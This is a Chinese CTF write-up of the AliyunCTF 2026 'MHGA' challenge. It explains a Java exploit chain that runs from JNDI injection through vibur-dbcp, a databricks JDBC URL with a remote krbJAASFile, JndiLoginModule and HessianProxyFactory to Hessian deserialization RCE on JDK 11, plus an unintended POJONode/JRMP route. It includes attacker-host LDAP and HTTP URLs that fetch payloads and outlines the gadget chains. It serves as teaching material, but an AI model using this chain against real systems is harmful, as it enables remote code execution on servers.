AliyunCTF 2026 MHGA 赛题深入分析与利用链教学文档
1. 赛题概况与核心考点
本次分析的赛题为 AliyunCTF 2026 的 MHGA (Make Hessian Great Again),题目核心考察一个复杂的攻击链,其关键依赖与利用路径如下:
- 主要技术栈:vibur-dbcp (连接池)、databricks-jdbc (JDBC驱动)、Hessian (序列化协议)。
- 核心攻击路径:
JNDI注入→JDBC攻击→Hessian反序列化,最终在JDK 11等高版本环境中实现远程代码执行(RCE)。 - 利用目标:绕过高版本JDK对JNDI利用的限制。
2. 环境与依赖分析
题目以Assembly打包的JAR文件形式提供,无标准pom.xml。经分析,关键依赖如下:
com.caucho:hessian:4.0.66com.databricks:databricks-jdbc:2.6.38org.vibur:vibur-dbcp:26.0com.fasterxml.jackson.core:jackson-core:2.18.3
题目提供一个存在JNDI注入漏洞的Web端点。攻击者需通过精心构造的LDAP/JNDI引用,串联起多个依赖的漏洞点。
3. 关键组件漏洞与利用点剖析
3.1 HessianProxyFactory 工厂类利用
这是串联JNDI与Hessian反序列化的关键桥梁,也是题目名称“MHGA”的由来。
- 功能定位:
com.caucho.hessian.client.HessianProxyFactory实现了javax.naming.spi.ObjectFactory接口,可被JNDI引用(Reference)的工厂类(javaFactory)属性调用。 - 利用流程:
- JNDI注入点通过
InitialContext.lookup加载一个恶意LDAP服务器返回的Reference对象。 Reference对象的factoryClassName被设置为HessianProxyFactory。- JVM在实例化该
Reference时,会调用HessianProxyFactory.getObjectInstance方法。 - 该方法会从
Reference中读取type、url等参数。type参数(对应javax.naming.Reference中的className)会被用作动态代理的目标接口。为了使后续调用成功,此处type必须为javax.naming.directory.DirContext或其子类。 url参数指定一个远程Hessian服务端地址。HessianProxyFactory会为指定的type(接口)创建一个动态代理,代理处理器(InvocationHandler)是HessianProxy。
- JNDI注入点通过
- 动态代理触发:
- 创建代理本身不会触发远程调用。只有当程序后续调用代理对象的任意方法时,才会触发
HessianProxy.invoke。 invoke方法会向构造时指定的url发起HTTP请求,获取响应流。- 它读取响应流的前几个字节进行协议判断(如
H表示Hessian2协议)。 - 接着,会调用
Hessian2Input.readObject对返回流的剩余部分进行Hessian反序列化。如果此部分包含恶意序列化数据,则会触发RCE。
- 创建代理本身不会触发远程调用。只有当程序后续调用代理对象的任意方法时,才会触发
要点:仅通过JNDI lookup无法完成攻击,因为后续的方法调用未被触发。这需要借助后续的JDBC攻击链来触发代理对象的方法调用。
3.2 vibur-dbcp 连接池 (JNDI → JDBC)
此组件用于从JNDI攻击过渡到JDBC攻击。
- 作用:
org.vibur.dbcp.ViburDBCPObjectFactory同样实现了ObjectFactory接口。它通常用于在JNDI中配置数据库连接池。 - 利用方式:在恶意LDAP服务器返回的
Reference中,将factoryClassName设置为org.vibur.dbcp.ViburDBCPObjectFactory,并在StringRefAddr中传入标准的JDBC连接参数,如driverClassName、jdbcUrl、username、password。 - 攻击链位置:它是第一跳。攻击者首先让JNDI注入点加载一个指向
ViburDBCPObjectFactory的Reference,并设置其jdbcUrl指向一个恶意的databricksJDBC URL,从而将攻击传递到JDBC层。
3.3 databricks-jdbc 驱动 (JDBC → JNDI)
此组件用于从JDBC攻击再次触发JNDI,是触发前述HessianProxy代理方法调用的关键。
- 漏洞点:
databricksJDBC驱动支持通过krbJAASFile参数指定一个本地或远程的JAAS配置文件。 - 攻击流程:
vibur-dbcp工厂根据恶意Reference中的参数,尝试使用databricks驱动建立数据库连接。- 连接URL中包含参数:
krbJAASFile=http://attacker-server/jaas.conf。 - JDBC驱动会从攻击者控制的服务器获取并解析这个JAAS配置文件。
- 该配置文件可以配置使用
com.sun.security.auth.module.JndiLoginModule。 JndiLoginModule在认证过程中,会调用new InitialContext().lookup(attacker-controlled-url),这是第二次JNDI注入。- 更重要的是,
lookup返回对象后,会将其强制转换为DirContext并调用其search方法。正是这个search方法调用,触发了第一次JNDI调用中创建的HessianProxy动态代理,从而发起了远程Hessian请求并触发反序列化。
3.4 高版本JDK JNDI绕过
自JDK 6u141, 7u131, 8u121起,Oracle默认禁用了JNDI远程类加载。更高版本(如JDK 11)进一步限制了远程工厂类的加载。
- 题目环境:题目使用的是JDK 11,属于限制较严的环境,不允许直接反序列化远程对象,但允许通过
Reference引用本地classpath中已有的工厂类。 - 绕过方法:
- 攻击者不直接在LDAP响应中返回序列化对象。
- 而是返回一个
javax.naming.Reference对象,其factoryClassName指向目标应用classpath中已存在的类(如vibur-dbcp或hessian的工厂类)。 - JVM会从本地加载这些工厂类并实例化,从而绕过对远程类加载的限制。
- 恶意代码逻辑通过工厂类从
Reference的属性(RefAddr)中获取,并最终在工厂类实例化过程中被执行。
4. 完整攻击链串联
最终的攻击链是一个循环引用的精巧结构:
- 初始注入:攻击者向Web应用的JNDI注入点提交恶意LDAP地址:
ldap://attacker-host:1389/Exploit。 - 第一层LDAP服务器 (LDAP1):
- 返回一个
Reference,其中:factoryClassName:org.vibur.dbcp.ViburDBCPObjectFactory(本地已有类)className:javax.sql.DataSourceStringRefAddr包含:driverClassName:com.databricks.client.jdbc.DriverjdbcUrl:jdbc:databricks://...;krbJAASFile=http://attacker-host:8080/jaas.conf(指向一个恶意的JAAS配置文件URL)
- 返回一个
- JDBC驱动触发:
ViburDBCPObjectFactory被加载,尝试建立JDBC连接。databricks驱动加载远程jaas.conf。
- JAAS配置文件:
- 内容配置使用
JndiLoginModule,其user.provider.url指向第二个LDAP服务:ldap://attacker-host:1388/Trigger。
- 内容配置使用
- 第二层LDAP服务器 (LDAP2):
- 返回一个
Reference,其中:factoryClassName:com.caucho.hessian.client.HessianProxyFactory(本地已有类)className:javax.naming.directory.DirContext(必须,用于后续search调用)StringRefAddr包含:type:javax.naming.directory.DirContexturl:http://attacker-host:8090/hessian(指向攻击者控制的Hessian恶意服务端)
- 返回一个
- 触发代理调用:
JndiLoginModule对lookup返回的代理对象进行类型转换(DirContext)并调用search方法。- 触发
HessianProxy.invoke,向url指定的地址发起请求。
- 恶意Hessian服务端:
- 返回一个精心构造的Hessian协议响应。响应体前几个字节需符合协议头(如
H),后续部分包含能触发Gadget链的恶意Hessian序列化数据。
- 返回一个精心构造的Hessian协议响应。响应体前几个字节需符合协议头(如
- 最终RCE:
- 客户端的Hessian反序列化逻辑处理响应,触发恶意Gadget链,实现任意代码执行。
5. Hessian 反序列化利用链构造
在最终步骤,需要构造一个能在目标Hessian库中触发的利用链。
- 链式选择:文中示例使用了Hessian原生的反序列化利用链,涉及
UIDefaults.ProxyLazyValue。 - JDK版本适配:在JDK 11中,需使用
ProxyLazyValue而非已移除的SwingLazyValue。 - 链式结构:通过嵌套
HashMap,利用HashMap.putVal触发Hashtable.equals,进而触发UIDefaults.get,最终执行ProxyLazyValue.createValue中的反射调用。 - 分步执行:通常需要两个步骤的链子,例如第一个链写入恶意.so或.dll文件到临时目录,第二个链调用
System.load加载该库文件。
6. 非预期解分析
除了上述主线解法,还存在一种非预期解,思路不同:
- 核心:寻找一个能将
toString调用转化为getter方法调用的类,以构建一条不依赖工厂类的原生Java反序列化链。 - 关键类:
com.databricks.client.jdbc.internal.fasterxml.jackson.databind.node.POJONode。其toString方法会调用内部POJO对象的getter方法。 - 组合利用:将恶意
TemplatesImpl对象包裹在POJONode中,再将其作为val设置给BadAttributeValueExpException。 - 攻击路径:
JNDI注入→JRMP。让恶意的JNDI/LDAP服务返回一个指向JRMP服务端的引用。当客户端反序列化JRMP连接返回的对象时,即触发上述原生反序列化链。
7. 漏洞复现与EXP结构
完整的漏洞利用(EXP)通常包含以下组件:
- 恶意LDAP服务器1:响应第一跳,返回指向
vibur-dbcp的Reference。 - HTTP服务器:提供恶意的JAAS配置文件 (
jaas.conf)。 - 恶意LDAP服务器2:响应第二跳,返回指向
HessianProxyFactory的Reference。 - 恶意Hessian HTTP服务端:监听特定端口,当收到
HessianProxy的请求时,返回携带恶意序列化数据的Hessian协议响应。 - 攻击启动客户端:向靶场发送包含恶意JNDI地址的请求,触发整个链条。
8. 总结与后记
MHGA赛题是一个综合性极强的Java反序列化攻击案例,它巧妙地将多个独立漏洞串联起来,形成了一条能够在高版本JDK环境下生效的复杂攻击链。学习者应重点掌握:
- 攻击链设计思想:理解如何通过
JNDI -> JDBC -> JNDI的“迂回”方式,绕过安全限制并触发关键方法调用。 - 各组件作用:清楚
vibur-dbcp、databricks-jdbc、HessianProxyFactory在链中的具体角色和利用方式。 - 高版本绕过:掌握通过
Reference引用本地工厂类来绕过JNDI限制的技巧。 - 协议与构造:了解Hessian协议的基本格式以及如何构造有效的恶意响应。
(以上分析基于链接提供的技术文章内容。关于Hessian协议具体细节、ProxyLazyValue链的完整构造代码、以及databricks-jdbc驱动JndiLoginModule触发的更深层原理,文档未做完全展开,读者可依据文中提供的参考链接进行延伸学习。)